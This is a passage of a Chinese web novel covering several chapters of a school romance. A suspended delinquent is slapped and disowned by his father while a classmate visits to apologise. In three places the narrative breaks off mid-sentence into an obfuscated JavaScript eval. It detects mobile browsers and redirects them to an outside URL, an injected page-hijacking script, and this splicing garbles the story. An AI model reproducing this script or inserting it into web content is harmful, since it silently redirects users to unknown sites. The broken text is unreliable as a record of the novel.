赵育芳看她与在办公室的状态截然相反,有些担心,“叶子,你还好吧?” 叶子始终没说话。 在教室门口,赵育芳要送她进去之前,叶子蓦地回过头,问道:“老师,我真的能相信你吗?” 赵育芳不假思索:“当然了。” 叶子垂下眼帘,可她觉得不能。 课已经上了有一会儿了,叶子打了声报告,低头进教室。 董婉凝提心吊胆等到现在,没收到赵育芳的传唤,就知道这事稳了,看见叶子回来,唇边扬起一个深深的笑。 叶子在同学们的注视下经过讲台,坐在座位,神色恍惚拿出课本。 办公室内,责骂还在继续。 赵育芳:“这件事太恶劣了!抢钱、打架、威胁同学,必须把你家长叫来,好好谈谈你的问题!” 韩山听惯了责骂,本来没有什么感觉,但听到家长二字,黑瞳一沉,戾气在眼中汇聚,说:“死了。” 赵育芳惊讶说:“你这孩子怎么说话呢!你爸妈电话多少?” 韩山侧过头不答,脸上笼了阴云。 赵育芳:“你不说我可以问欧阳老师。” 欧阳红作为韩山之前的班主任,收集过班里同学的信息。 韩山冷冷牵了牵唇角,“能打通你就叫啊。” 赵育芳:“不服气是吧?行,你课也别上了,回家休两天吧!” 韩山:“老子正好上够了。”说得挑衅骄傲。 赵育芳:“是,上课你也不听,跟坐.牢一样,给你放几天假,让你好好自由一下!正好趁这几天把头发染回来,下次再见到你顶着这头白毛你就不用来了!” 韩山黑瞳中情绪涌动,语气轻狂:“不来就不来。” 旁边四个男生在暗笑,这下他们可以给董婉凝好消息了。 第一节下课,叶子快速整理好笔记,跑到办公室门口。 她放心不下,探头往办公室里张望。 有学生进进出出,叶子趁门一开一合的间隙踮脚往里看,那四个男生已经不在了,只有韩山还站在办公桌前,而赵育芳一直在打电话。 电话似乎没有被接通,不见赵育芳开口。 叶子叹了口气,她终究没能改变任何事情。 上课铃很快响起,叶子恋恋不舍离开这里。 叶子再见到韩山,第二节课已经上了一半了,他没有打报告,闯入教室,脸色阴沉得可怕。 同学们纷纷看向他,他浑身气场比以往任何时刻都要凌冽,让人不寒而栗。教室气压瞬间降低不少,同学们好奇又畏惧。 韩山谁也不看,眼里没有任何人,经过讲台,走向自己座位。经过叶子时,她觉得他身上带出的风都有火焰。 这节是政治课,老师郑慧娟看了他一眼,因为不想中断讲课,没说什么。 叶子本以为班主任放他回来是让他继续上课,谁知道教室后面传来收拾东西的声音。他动作很大,桌椅叮咣响,显示出抗议和不甘。 叶子连忙回头,他单肩背包,拿着篮球,摔门而去。 好多同学都在往后看,董婉凝没回头,嗤笑一声,似乎早有预料。 后门重重一声响,叶子觉得地面都好似颤了颤。 郑慧娟有些懵,这学生是怎么回事,火气这么大?她拍拍手,引回同学们的注意,说道:“好,同学们,我们继续上课。” 叶子忧心忡忡回过身。 下课后,董婉凝模样悠闲地来到叶子桌边,两臂环胸抱在身前,居高临下看着她,嘴角扬起一抹得意的笑,说:“哎呀叶子,韩山不在,你说你怎么办呀?我劝你呀,还是离他远点比较好,省得连累他,也害了你自己。” 叶子原本不想理她,可她提到韩山,她毫不犹豫反唇相讥:“所以你觉得他会放过你吗,他打架是因为什么,你心里清楚。” 董婉凝一怔,气得脸都绿了,“你!” 叶子拿着杯子站起身,云淡风轻说:“现在他不在学校,你可更要小心了,说不定下一个放学被堵的人,就是你呢。”她错身经过董婉凝,去水房接水。 董婉凝难以置信回头看着她,感到十分陌生,如此咄咄逼人,还是她吗? * 下午第一节语文,赵育芳的课,她反复强调校规校纪,绝不容许再发生打架这类的事情。 经过一上午的发酵,全班都知道韩山打架被停课了,气氛微妙。 只有叶子知道,董婉凝才是罪魁祸首。 而董婉凝此刻安然坐在教室里,乐见其成。 叶子不明白为什么事情会发展成这样。 该被停课的分明是董婉凝。 课上到一半,赵育芳手机响了。往常她根本不会带手机来上课,这次似乎在专门等谁的电话,她看了眼,说:“先自习哈。”拿着手机去教室外接电话了。 叶子脑中闪过赵育芳在办公室打电话的画面,有种直觉,有意识地竖起耳朵。 教室门合上的一瞬,叶子听见赵育芳礼貌郑重地叫了声:韩山爸爸。 董婉凝似乎也听见了,抬头看了一眼。 * 也不知道是因为赵育芳强调了纪律,还是别的什么,这天董婉凝没有找叶子麻烦,韩山不在,反倒相安无事。 叶子觉得,毕竟韩山是因自己受过,她得去看看他,于是放学后迅速做完值日,找到了猴子。 这段时间她一直跟着韩山,自然也摸清了他兄弟们的行动轨迹,她追上猴子的时候,猴子刚出校门。 猴子跟胖哥、四眼、东子,还有其他一帮男生一起走,猴子看见她,两眼放光说:“哟,嫂子!” 叫得相当之顺口。 叶子脸一热,虽然她跟韩山什么都没有,但莫名被这么叫,还是有些羞耻。她一本正经说:“别胡说。” 其他男生看见了叶子,即便韩山不在,也发出起哄的叫声。 “呜~嫂子!” “嫂子来了!” “嫂子卷子写了没给我抄抄?” 叶子简直想找个地缝钻进去,原来她跟韩山的关系在别人眼里都这样了呀!她的脸红得像天边的晚霞。 还是猴子贴心,主动问她:“咋了嫂子?有事?” 叶子自动忽视这个称呼,红着脸小声说:“我就是想问问,韩山家住哪啊?他因为我受罚,我想去看看他……” 男生们顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿天无奈提醒她:“这两天收收吧,韩山因为你挨罚,还惊动了他的父亲,不会放过你的。” 他顿了顿,发愁说:“说不定我也要挨打。” 董婉凝不服气说:“又不是我逼他那样的!” 阿天:“可你剪了水房监控的电缆,不然就算韩山有意隐瞒,老师也查得出。” “换句话说,哪怕他们都说实话,只要你们五个咬死不承认,因为没有证据,老师也不能拿你们怎么样。结果都一样。婉凝,你这次过火了。” 董婉凝彻底没了话。 没错,她吃过监控的亏,所以这次得知行动失败后,在下着大雨的夜里偷偷翻进学校,剪断了水房监控的电缆。 她早就观察过,这电缆固定在墙上,离上一层的水房窗户很近。 她怕出错,亲自动手,趴在上一层的窗户,剪断电缆。 狂风卷着雨水打了她一身,从她脸上淌过。她的发丝犹如黑色的裂痕,粘黏在她冷白的皮肤上。 她穿着黑色雨披,很快消失在雨夜中。 多亏了这场雨,无声无息掩盖掉一切真相。 * 叶子跟着猴子他们经过网吧,男生们都进去了,猴子带着她继续往前走。 叶子留意了一下,韩山的机车不在,看来被他骑走了。 猴子边走边叮嘱她说:“对了,你见了弥哥之后,千万不要在他面前提他父母。那是他的禁忌。” 叶子疑惑地歪头:“怎么了呢?” 猴子难得不是嬉皮笑脸模样,反倒有些惆怅:“我也不太清楚,弥哥没说过,反正就是不能提。” 每次不小心提起,他整个人就会变得特别暴躁阴郁。久而久之,他们都知道,家庭和家人是他的逆鳞。 叶子没搭腔,脑中胡乱猜测起来。 猴子:“其实弥哥以前学习很好的……” 叶子意外:“是吗?” “是的,而且他很会写程序。”猴子看着她,正色说:“他写了好多游戏脚本,在游戏里开挂,再加上他的操作,无人能敌。他还把这些脚本挂到网上卖,他现在花的钱都是他自己挣的。” 叶子微微睁大了眼睛,她虽然不懂游戏,但她知道靠写代码赚钱很厉害。 她下意识问:“这样不会被封号吗?” 猴子煞有其事压低了声音:“这就是弥哥的厉害之处,还真不会被封……” 叶子更震惊了,同时心中生出更深的疑惑,那他是怎么变成现在这副模样的呢? ——不好好学习,抽烟喝酒染头发…… 还跟职高那些混混…… 叶子低下头,若有所思。 “还有一些其他的,等你到了自己就能发现。”猴子说。 猴子带着叶子七拐八拐,踏上布满青苔的石板路,走进一条破败的小巷。 这里都是一些筒子楼。 23. 星晴 韩山不住筒子楼,猴子带叶子穿过筒子楼,视线豁然开朗。 路前方的空地上,有一个仓库,差不多一百来平,水泥坎围出一个院子,停着那辆惹眼的黑金机车。 原来韩山就住这里呀。 猴子停下脚步,抬了抬下巴,“喏,前面就是,你自己过去吧。可千万别告诉他是我带你来的哈。”他再次提醒。 叶子郑重说:“好的,我不会告诉他的。” 猴子举手致意,“那你去吧。拜拜!” 叶子微微鞠躬,“谢谢。” 猴子:“客气。” 他逃似的溜了。 叶子看着他仓皇离去的背影,心中暗自奇怪,他怎么看起来这么害怕? 猴子确实害怕,擅自把外人带到韩山住的地方,让韩山知道了,他小命不保。 韩山领地意识非常强,不喜欢别人闯入他的空间。哪怕是兄弟都不行。 叶子肯定不会挨揍,但把叶子带过去的人,势必要完蛋。 猴子双手合十放在胸前,苦逼地祈祷:“宁拆十座庙,不悔一桩婚!弥哥可千万别生我气啊!” 叶子转过身,吸了口气,内心忐忑地走上前去。 与韩山分别前闹得不太愉快,不知他现在气消了没有呀? 不管他消没消,她是消了。 仓库的铁门开着一条缝,叶子走下斜坡,透过门缝悄悄向里面瞧。 和她想象的不太一样,入目是一面黑色的墙,空空荡荡。 仓库内光线昏暗,黑墙几乎与黑暗融为一体,化作无形。 叶子莫名对这个房间心生忌惮。 然而她已经来了,就没有反悔的道理。 叶子左瞧右瞧,寻找韩山的身影,但门缝视野有限,她没能看到。 仓库的窗户由厚实的黑色窗帘掩着,铁门看起来一碰就会吱扭吱扭响。 叶子花了一秒钟思考直接进去和敲门哪个韩山的怒气值更低一些,决定还是敲门吧。 她抬起纤细白皙的指节,轻轻在铁门上扣了扣。 清脆的声音—— 当当当 叶子等了片刻,里面没动静,她觉得奇怪,又敲了一遍。 ——当当当 韩山躺在床上,正在补觉,听到敲门声蹙起眉,一下都懒得动,“滚!” 叶子被这凶巴巴的声音吓得一个激灵,鼓足勇气说:“韩山,是我,叶子。” 还是一声:“滚!” 并没有比上一声温和些许。 叶子听出他声音中慵懒的困意,低头笑了笑,原来在睡觉呀。她鼓足勇气说:“那我进来啦!” 她用力推动铁门,吱嘎一声响,铁门的缝隙缓缓变大,叶子钻了进去。 仓库的全貌赫然呈现在眼前,叶子微微一怔。 一个大大的训练沙袋从承重杆上悬挂下来。包括天花板,所有墙体均是黑色,地面铺着黑色砂岩地砖,就像进入了一个密闭的盒子,冰冷又压抑。 叶子顿时有些喘不上气。 这,就是他的世界吗?叶子心想。 极简的黑白空间,找不到第三种色彩。所有家具都有一种几何线条感,圆是圆方是方,横平竖直,规整得没有一丝生气。 甚至连灯都是条状线灯,在地面和墙体穿梭。 唯一称得上装饰的是一副黑白画作,白色画框挂在黑墙上,画的是一颗缠绕着绷带的畸形心脏,有种诡异感。 韩山躺在一张白床上,盖着黑色薄毯,一只胳膊枕在脑后,长腿随意弯着,他照样一动没动,连眼睛都不曾睁开,蹙着眉不发一词。 他过于安静,仿佛酝酿着暴风雨,让人觉得危险。 叶子心中讪讪,到底她是擅自前来,她自知冒犯,小声解释说:“对不起,我是想来给你道个歉……你因为我被老师罚,对不起……” 韩山语气很不好:“用不着。” 是真的用不着,揽下罪责是他自愿,受罚他也甘愿。可不知怎的,这话此刻说出来却带上几分刻薄冷血。 叶子不知道他是因为被吵醒生气,还是她擅自前来生气,亦或是早上的气还没消,攥着书包肩带,有些踌躇。 可她并不害怕,她相信他不会伤害她。 外面天色渐渐暗下来,马上就要黑透,十二月的天,太阳落得很早。 韩山冷冷说:“再不滚,天黑了没人送你。” 叶子想到什么,连忙摘下书包,“对了,我有东西要给你。” 她打开书包拉链,从里面拿出笔记本,用下巴夹住,再把书包拉上,背回去。 她双手拿着笔记本,望着韩山说:“你今天不是没上课吗,这是今天的课堂笔记,你要看看吗?” 少年好笑地嗤了一声,有自嘲的意味,说:“你看我像是会学习的人吗?” 叶子默了默,确实不像。 可她想起猴子说的,其实弥哥以前学习很好的。又觉得不该是这样。 到底发生了什么呢? 她将笔记本拿出来的那一刻便决定了,不管他看不看要不要,她都要做这件事。 她说:“还是看看比较好。” 就算他自我放弃,她不想放弃。 她轻轻向他的书桌走去,“我放你桌上了。” 韩山不耐烦地翻了个身,背对她。 他床边有一张白色工作台,桌角飘着一个黑色磁悬浮台灯。 他的桌面有些乱,一堆书,电脑是那年最新的款式,黑色的。 叶子把笔记本放在他桌子中央,无意间瞥见桌上摊开的书籍,是有关编程的。 她好奇地拿起一本来,翻了翻,完全看不懂。但书的每一页都有一些划线和标记,显然是他认真阅读过的。 竟能看懂这么深奥的东西…… 她偷瞄韩山一眼,不是口口声声说不爱学习吗? 叶子将书翻回摊开的那页,放回原位。这时她注意到韩山桌角放着一张皱皱巴巴的作文纸,疑惑地拿起来。 韩山似有所觉,立刻回头,“别乱动。” 叶子看到作文纸上的内容,神色微变。 这不是…… 韩山翻身下床,迅速夺过她手中的作文纸,严厉说:“让你动了吗?” 叶子的虎口被纸张边缘划破,她下意识叫了一声,缩回了手。 韩山一怔,连忙放下作文纸,拉开抽屉,翻找创可贴。 口子不大,划破点皮,没流血,但有点疼。 韩山将创可贴递给她。 叶子捂着手吹了吹,泪眼汪汪看着递过来的创可贴,没接,委屈巴巴抬眸。 创可贴又止不了疼。 学生头将她的脸型修饰得小巧可爱,她眼底染上红晕,眼中泪光婆娑,韩山的心一下子软了。 怎么这么爱哭。 他心越软,声线越是生硬,“要不要?”他蹙眉问。 叶子没说话,噙着泪摇了摇头,脸颊两侧的头发随之晃了晃。 韩山看她这副样子,赶她走的话没能说出口,把创可贴随手往桌上一丢,转身向床走去。 叶子有些不高兴,他划破她的手,都不给她说对不起。 她叫住他:“你就没什么话要说吗?” 之前他对她说过类似的话,让她十分窘迫。这次她学着他的语气,带着些报复之意。 韩山没回头,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713087|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点也不真诚:“对不起。你可以走了吗?” 叶子心里赌气地哼了一声,不想轻易放过他,又说:“还有呢?那个你不准备解释一下吗?” 她刚才分明看到了,那是她的作文纸。 被评为“满分作文”贴在楼道展板上,后来又被人写满污言秽语,用红色彩笔画了大大SB的那张。 韩山捡了她的作文纸,没有丢,而是留下来了。 而且、而且不知道他用了什么手段,竟把那些污言秽语通通抹除了。此时那张作文纸除了有些皱,与原来别无二致。 韩山背影顿了一瞬,继续往床边走,语气毫无波澜:“你想我解释什么?” 他放松地躺在床上,闭上眼,懒懒说:“你就当我有恋.物.癖,喜欢收集垃圾。” 叶子才不信,指不定他是拿她作文纸做什么不为人知的实验。 她问:“你是怎么抹去那些痕迹的?” 能消除污言秽语却不影响纸上原本的字迹,总不能是巧合吧? 韩山仿佛没听见,一点反应也没有。 叶子没有报复成功的快.感,他应对得从容自若,甚至干脆不理她了。 外面天已经黑透,仓库里没有一丝光亮,叶子不太能看清韩山的表情。但他这副拒绝沟通的模样,好似在无声地给她下逐客令。 她想,她还是有点自知之明吧。 她攥紧书包肩带,说:“那我走了。” 黑暗中,韩山蹙着眉头,没有搭腔。他发现这句话听起来,好像也并没有想象中舒心。 叶子不放心,叮嘱说:“我看你睡觉的时候都不关门,要注意安全呀。” 这仓库多少还是有点偏僻。 韩山轻嗤一声,似玩笑似嘲讽,拖长语调说:“你以为谁都像你一样,任人宰割。” 叶子想了想,对哦,他身手好,不怕坏人也合情合理。 她默默叹气,转身离开。 她刚要出门,突然有两束灯光从门缝晃过她的脸,她下意识抬起手臂挡。 一辆加长黑色豪车拐过弯,驶到仓库外,停下了。 她在仓库待得久,眼睛不适应光线,顿时被晃得什么也看不清了。 她在原地停了停,手臂被人轻轻一拉,后脑贴近一个坚硬的胸膛,她心微微一跳,听见韩山低沉的声音:“躲一下。” 韩山将她拉进黑暗中,打开铁门出去了。 叶子意识到那黑色豪车是来找他的,直觉不是什么好事,连忙钻到桌子底下。 豪车副驾下来一个身穿西装,戴着白色手套的青年,他来到后座,弯腰为后座的人打开车门,一只手贴心地挡在车顶,防止后座的人碰到头。 韩山出了铁门,顺带将门关严实了。 铁门隔绝了所有的光亮,仓库一下又变得漆黑。 叶子蜷缩在桌子底下,屏住呼吸,绷紧神经,竖起耳朵仔细听着外面的动静。 韩山冷冷看着后座下来的男人。 那是个四十出头的中年男人,身姿挺拔,足有一米九高,西装革履,丰神俊朗,浑身带着一股威严之气。韩山的脸部轮廓和骨相与这个男人分外相似。 男人名叫韩松庭,是韩山的父亲。 韩山稍稍上前两步,客气又疏离地道了声:“父亲。” 躲在桌子底下的叶子模模糊糊听到这两个字,一个激灵,脑中回响起猴子说过的话: “你见了弥哥之后,千万不要在他面前提他父母。那是他的禁忌。” 彼时她还诧异问猴子为什么,现在他父亲竟然就出现在这里。 叶子有预感,她今晚就能知道答案。 所以,是为什么呢? 24. 星晴 为了能听得更清楚,叶子悄悄从桌子下出来,躲到了铁门后。 一门之隔,她清晰地听到韩松庭的脚步声正在靠近。 保镖在韩松庭身后关上车门,韩松庭来到韩山面前,只字未言,扬手甩了他一耳光。 啪的一声,清脆响亮,划破静谧的夜,铁门后的叶子跟着颤了颤。 路灯恰好到点亮起,暖黄的光洒下,照亮一方天地,却驱不散心中的阴霾。 韩松庭面容冷峻,眼中似恨、似怨,怒意反而是最少的。 韩山的脸偏向一侧,苍白的脸颊留下鲜红掌印,银发顺着这道力遮住了他的眉眼,连带他眼中的情绪,也变得晦暗不明。 叶子听到韩松庭冰冷的声音:“几次了,让老师给我打电话,我怎么会有你这么丢人的儿子?” 血腥味在韩山口中蔓延开来,他面颊鼓动几下,狠戾抬眸。 叶子心里苦涩极了,很想冲出去告诉韩山爸爸不是这样的,韩山打架是为了保护她,他不是你口中丢人的儿子,是富有正义感的好孩子。 可她不知道该不该出去,会不会火上浇油,会不会和在学校一样什么都改变不了。 韩松庭:“你妈当年让你学跆拳道果然是个错误,助长了你的暴戾不正之风!韩家乃名门望族,多少代才望高雅,居然在我这一辈出了你这么个粗鄙之徒!我真是没脸见祖宗!” 他残忍的言辞一字一句击打着叶子的心脏,她整颗心揪在一起,战栗不停。 韩山双目猩红,冷笑说:“你有什么资格提我妈?” 韩松庭目眦尽裂,又扇了他一巴掌。 这一掌比之前力道更大,声音更响亮,叶子身体一抖,实在不忍心继续听下去。 韩山脸颊火辣辣得疼,两个巴掌,同一边脸,他口腔出血,些微的血丝外渗。 他大拇指擦了下唇角,寒冷的夜,他的心一瞬比夜更冷。 韩松庭:“从今天起,你不再是我韩松庭的儿子,与韩家再无瓜葛!以后你再闯什么祸,莫要让老师给我打电话,否则,我不会放过你。” 他言辞间充满警告威胁之意,仿佛眼前的是一个仇人,而非体内流淌着他血的儿子。说完毫不犹豫转身上了车。 对韩松庭来说,这次过来只是通知一件事情,与在生意场上通知乙方合作取消这类事情无甚区别,说完就可以走,一秒钟都没必要多待。 所以他没有听到,韩山在他背后嗤笑一声,一字一顿说:“求之不得。” 保镖为韩松庭关上车门,黑色豪车在路灯下缓缓离去。 韩山知道,这辆车会驶向灯红酒绿,辉煌繁华的都市,而他,注定是要留在这阴暗潮湿的仓库之中。 十二月的天,风带着寒意,吹动少年的银发。他在寒风中转过身,铁门吱扭一声打开了。 身形纤瘦的少女站在门口,一双杏眼,带着愧疚与疼惜之意看着他。 他冷呵,他才用不着她来同情。 他无言错开她,打开仓库的灯,走向床。 横平竖直的条状线灯切割空间,泛着冷白的光,像一条泾渭分明的楚河汉界。 少年在他的世界设下城池营垒,界限分明地禁止任何人踏足。 叶子转过身看他,他放松躺了下去,一只胳膊枕在脑后,闭上眼睛,模样恢复了往日的慵懒闲散,仿佛刚才发生的一切只是她的错觉。 但他脸颊上清晰鲜红的掌印触目惊心,叶子无法欺骗自己一切都是假象。她甚至无法挪动一步,本来打算走的,此刻双腿却似灌了铅般沉重。 都是因为她…… 韩山似乎感觉到她的目光,闭着眼睛开口:“你还要看多久?我的笑话还没看够?”他冷嘲热讽。 叶子垂下眼帘,她偶然触及他内心隐秘的角落,然而她知道,没有人愿意让别人看到自己最脆弱的时刻,她小声说:“对不起……” 韩山没有搭腔,呼吸声沉重。 叶子知道越是这种时候,越需要关心和陪伴,默了默,拿起他桌子上的水杯,给他接了一杯凉水。 韩山听到水流声,蹙眉睁开眼。 叶子拧好瓶盖,不经意跨过那条“楚河汉界”,走到他旁边,小心翼翼将水杯递给他。 韩山眼里有不耐烦:“干嘛?” 叶子声音弱弱说:“你的脸明天会肿的,敷一下,消肿……” 怒意在他眼中聚集,他一把挥开她的手,“啥意思,奚落我?还是同情我是个没人要的野孩子?不需要!” 少年只是轻轻一挥,然而这是练拳击的手,他的力量比寻常人大得多。 叶子手被打疼,倒抽了口气,水杯从她手中飞出去,摔在地上,滚了几个圈。 她握住自己的手,咬唇忍痛。 韩山意识到自己用劲大了,眼前的少女娇弱易折,禁不住他这样的力量。 他神色动了动,心在紧收。 然而心中那股莫名而来的邪火难以抑制,连他自己都要被燃烧殆尽。 叶子知道受过伤的人内心都会比较敏感,不跟他计较,忍住眼泪,捂着手,低声解释:“不是的,我是真的担心……” “我有什么好担心的?你是我谁啊?”韩山打断她,猛地站起身,胸膛剧烈起伏。 叶子吓得身子一凌。 他的身高带来压迫感,她委屈极了,下意识后退了一步,声音细如蚊呐:“对、对不起……我真的没有恶意……你不要这样把关心你的人推开……” 韩山觉得有两个字格外刺耳,无声嗤笑。 关心?这世上早就不会有人真正关心他了。 就算她真的关心,她的关心何尝不是另有所图? 叶子感觉自己好像又说错话了,颤声说:“对、对不起……我这就走……” 韩山唇线抿直,眸色阴晦如墨。今晚他一直想赶她走,可当她真的说出这句话,他心中却只剩烦躁。 她说完便要从他身边跑开,韩山一言不发将她扯回来。他力气大,叶子几乎没有反抗的余地。 叶子再次要走,他再次将她扯到面前,脸色愈发阴沉。 叶子不明白他的意思,赶她走的人是他,怎么现在又不让她走了?是她道的歉不够真诚吗? 她眼眶微红,眼中泪光闪烁,微微吸气,嗫嚅说:“对不起韩山……都是我连累了你……以后我不会再接近你了……” 她鼻尖泛起酸涩,说这样的话她亦需要很大勇气。不能接近他,意味着她要独自面对那些人的欺凌。 她难过极了,不知道为什么事情会变成这样,她只是想要自保,不想连累任何人,可偏偏她所仰仗的人因此受到伤害。 韩松庭那两个耳光,似乎打在她心上,想起来心就隐隐发痛。 韩山眼里墨色翻涌,向她靠近一步,“你说什么,你再说一遍。” 她到底是如何做到说出来的每一个字都精准踩中他的雷区。什么叫不再接近,如今发生的这一切不再接近就能倒退回去?还是说她利用完他就想逃之夭夭? 怎么可能? 叶子怯怯地低着头,下意识后退,眼泪摇摇欲坠。 她都说了不黏着他了,他怎么还生气呀? 他知不知道自己凶巴巴说话的样子好可怕? 她不敢违逆他,按他要求,嗫嚅重复:“对不起……都是我连累了你……以后我不会再接近你了……” 韩山差点被气笑。 他让她重复她就重复,她听不出来好赖话吗? 他侧过头嘲弄地扯了下唇角,浑身肌肉紧绷到发疼。 叶子忐忑地看他一眼,头埋得低低的,心里的酸涩快要压制不住。 她又做错了吗? 他怎么看起来更生气了? 韩山也不知道自己为什么生气,他想听的绝不是这种话,可他到底想听什么呢? 溃烂的伤口给她看了,房间让她进来了,他在她面前什么都不剩,她怎么可以、怎么可以轻易地说离开,再也不接近…… 她说一句退一步,韩山就靠近一步,她被韩山逼退到墙根,整个人贴住墙,双手攥紧了书包肩带。 可他还在逼近,他的身体遮挡了灯光,将她笼在他的影子中。 叶子无助地想,事情为什么会发展成这样,她已经尽力在弥补了,可是一切好像越来越糟了,她好像做什么都是错的,他看起来讨厌极了她,恨不得立刻杀了她。 她越想越委屈,忍不住啜泣起来,眼泪啪嗒啪嗒往下掉。 韩山一滞。 怎、怎么哭了? 无边夜色,月光黯淡,今夜没有星星,晚风带着凉意丝丝吹进来。 叶子的哭声顷刻间放大,她真的好失败呀,在学校帮不了他,想弥补些什么,又让他更生气了。 到底怎么样才能让他高兴一些? 窗帘被风吹得一下一下飘,韩山的心也跟着一下一下颤抖。少女哭得稀里哗啦,不断地用手抹眼泪。 她的泪像一颗颗断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713088|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了线的珍珠,坠入他怒火滚沸的心湖,化学反应一般,无措、狼狈、懊恼、不堪,复杂的情绪一瞬间通通翻涌了起来。 韩山心尖颤动,全身肌肉渐渐放松,体内一直绷着的那根弦也不经意松了下来,一腔怒火似乎被她的泪水浇熄,眸中墨色渐渐平静。 他到底在干什么,让一个女孩子为他掉眼泪。 他转身想去给她拿纸,她带着哭腔抽泣说:“我真的没有要奚落你,也不是因为同情而怜悯你,我只是想对你好一些……因为我知道打架的事是我连累了你……如果你讨厌我,不想原谅我,我以后都不会缠着你了……” 韩山脚步微顿,复杂的情绪堵在胸口,艰涩难言,还是去拿来桌上的盒装面巾纸,抽出一张,弯下腰给她擦眼泪。 怎么会讨厌她,他做的是有多差劲,让她产生这样的想法。 他这种人,肆无忌惮惯了,兄弟们敬畏他,人人惧怕他,老师拿他无法,韩松庭对他无可奈何。他早就做好了孑然一身的打算,但凡有人敢接近他,死死抓着都不够,怎会讨厌她。 哪怕她另有所图…… 那就让她图吧。 叶子一直垂着眼帘没看他,泪湿的眼睫粘在一起,鸦羽般遮挡了她的眼。柔软的纸巾触碰到她眼底的时候,她几乎控制不住,猛地颤了一下。 她像只受惊的小鹿,飞快看他一眼,眼里有惊讶,惶惑。她微微缩着身子,回避他的触碰。 韩山默默叹气,把面巾纸盒递给她,让她自己擦。 叶子颤抖着接过,抽出纸巾胡乱擦了擦,吸吸鼻子。 韩山叹息一声,软下声说:“对不起。刚才我情绪不好,伤到你了。” 叶子委屈巴巴抬眸。 她满眼泪光,眼圈红通通的,像两颗樱桃。她真的哭得好伤心。 韩山惦记着打痛她的那一下,轻声问道:“你的手还好吗?” 叶子噙着泪抬手看了一眼,她的手背红了一片,跟被作文纸划破的是同一只手,虎口上有道小小的伤口。 今天她这只手好惨呀。 韩山目光落在她手上,她白嫩的小手染上一片鲜红,显得白更白,红更红。 他胸腔闷窒,他真该死,竟然伤她两次。 韩山深吸一口气,闭了闭眼。 今天确实是他不好,从早到晚,方方面面的不好。 他从早上开始回想,哑声说:“今早我看到董婉凝拽你脚踝,实在被吓到了,语气不好,我跟你道歉,对不起。在办公室的时候,我擅作主张,揽下一切,害你难堪,对不起。刚才我也不知道为什么很心烦,对你态度不好,对不起,以后不会再这样了。” 三声对不起,句句恳切,他这样的人,也会低头吗? 叶子顿时开心许多,她明白,发生这样的事,又被停课,又被父亲断绝关系,任谁也不可能那么心大的嘻嘻哈哈,情绪不好在所难免。 只要他道歉,她就原谅。 她抽了抽鼻子,声音里的哭腔还未消退:“所以你没有讨厌我,我们以后还是朋友,对吗?” 韩山的心在她说“朋友”二字时微微泛起波澜,她竟然就这么自然地回答了他刚才那个算得上有些过分的问题:你是我谁啊? 韩山不爱交“朋友”。他的生命中向来只有兄弟,如猴子,胖哥,或是死对头,如阿天,以及阿天的兄弟。“朋友”这个称呼模糊又朦胧,男生之间不爱以此相称,而异性间,似乎又天然多了层暧.昧。那他根本不需要“朋友”。 她是第一个。 他喉咙干涩,闭着眼睛,轻轻点头。 “太好了。”叶子含着泪笑了,杏眼亮起来,泪光闪动成点点星光。 韩山轻轻叹了叹,似无奈似怅然。 她还真是……好哄啊。 他睁开眼,声音喑哑低柔:“既然如此,今后我不想再在你口中听到‘连累’二字,也不想听到没来由的‘对不起’。” 朋友之间,就是两肋插刀,肝胆相照。 叶子在心里咦了一下,难不成他刚才生气就是因为这个? 可是这件事确实是她害他…… “罪魁祸首是董婉凝。”寂静的夜,少年语调缓慢轻柔,却震耳欲聋,“你不需要对任何人道歉,是她欠你一个道歉。” 叶子整个世界都亮了,泪瞳微微颤抖,心脏剧烈地跳动。 是啊,受害者凭什么道歉? 受害者不需要完美,这不是她的错,他不怪她。 25. 星晴 叶子情绪渐渐平复后,韩山还是觉得不能让她在这里待太久。 已无关于领地意识,只是因为她该回家了。 她一放学就来找他,没写作业,也没吃饭。 韩山看了眼机械手表,已经晚上八点了,他说:“时间不早了,你怎么回去?” 叶子扬起笑脸,“我坐公交就行,不用送。那我走啦。” 她来找他的目的就是道歉和送笔记,已经达到了,再赖着不走也不好。 筒子楼外有个公交站台,她过来的时候就看到了,可以自己回去。 韩山无言地看着她,虽然她情绪已经平复了,但眼底还有浅浅的泪痕,微微泛红,让这个笑十分惹人疼惜,又显得无比纯真烂漫。 韩山呼吸沉了沉,一言不发拿了机车钥匙,向铁门走去,“走吧,送你。” 叶子有些意外,是谁说天黑了没人送她的? 不过能省个坐公交的钱也好,她心里偷偷乐开花,克制地“哦”了一声,迈步跟上他。 韩山拉开铁门,顺带说:“把你笔记本拿上。”头也不回出了仓库。 他长腿跨上机车,插钥匙,拧把,打火,动作一气呵成。发动机发出轰鸣声。 叶子当做没听到他的话,在原地等了两秒,才出了铁门。 韩山正在戴手套,抬眸看她一眼,“笔记本拿了?” 